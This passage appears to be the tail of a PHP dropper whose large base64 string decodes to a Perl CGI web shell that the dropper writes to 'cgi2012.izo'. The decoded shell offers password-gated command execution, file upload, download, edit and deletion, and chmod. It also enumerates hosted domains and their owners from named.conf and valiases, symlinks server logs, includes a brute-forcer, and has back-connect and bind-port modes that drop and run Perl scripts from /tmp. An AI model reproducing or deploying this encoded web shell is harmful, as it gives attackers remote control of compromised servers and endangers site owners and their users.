YnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgYmluZHBvcnQucGwgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KCWlmKCFybWRpcigkZGlyKSkKCXsKCQkKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0gc2hpZnQ7CglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7CgljaG9wKCRwYXRoID0gYCRDb21tYCk7CglyZXR1cm4gJHBhdGg7Cn0Kc3ViIEZpbGVQZXJtcygkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJHVyID0gIi0iOwoJbXkgJHV3ID0gIi0iOwoJaWYoLWUgJGZpbGUpCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJaWYoLXIgJGZpbGUpeyAkdXIgPSAiciI7IH0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3OwoJCX1lbHNlCgkJewoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOwoJCQkkcmVzdWx0ID0gc3ByaW50ZigiJTA0byIsICRtb2RlICYgMDc3NzcpOwoJCQlyZXR1cm4gJHJlc3VsdDsKCQl9Cgl9CglyZXR1cm4gIjAwMDAiOwp9CnN1YiBGaWxlTGFzdE1vZGlmaWVkKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07CgkJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsKCQkkeSA9ICR5ICsgMTkwMDsKCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87CgkJJGxtdGltZSA9IHNwcmludGYoIiUwMmQvJXMvJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7CgkJcmV0dXJuICRsbXRpbWU7Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo" ,"w+");
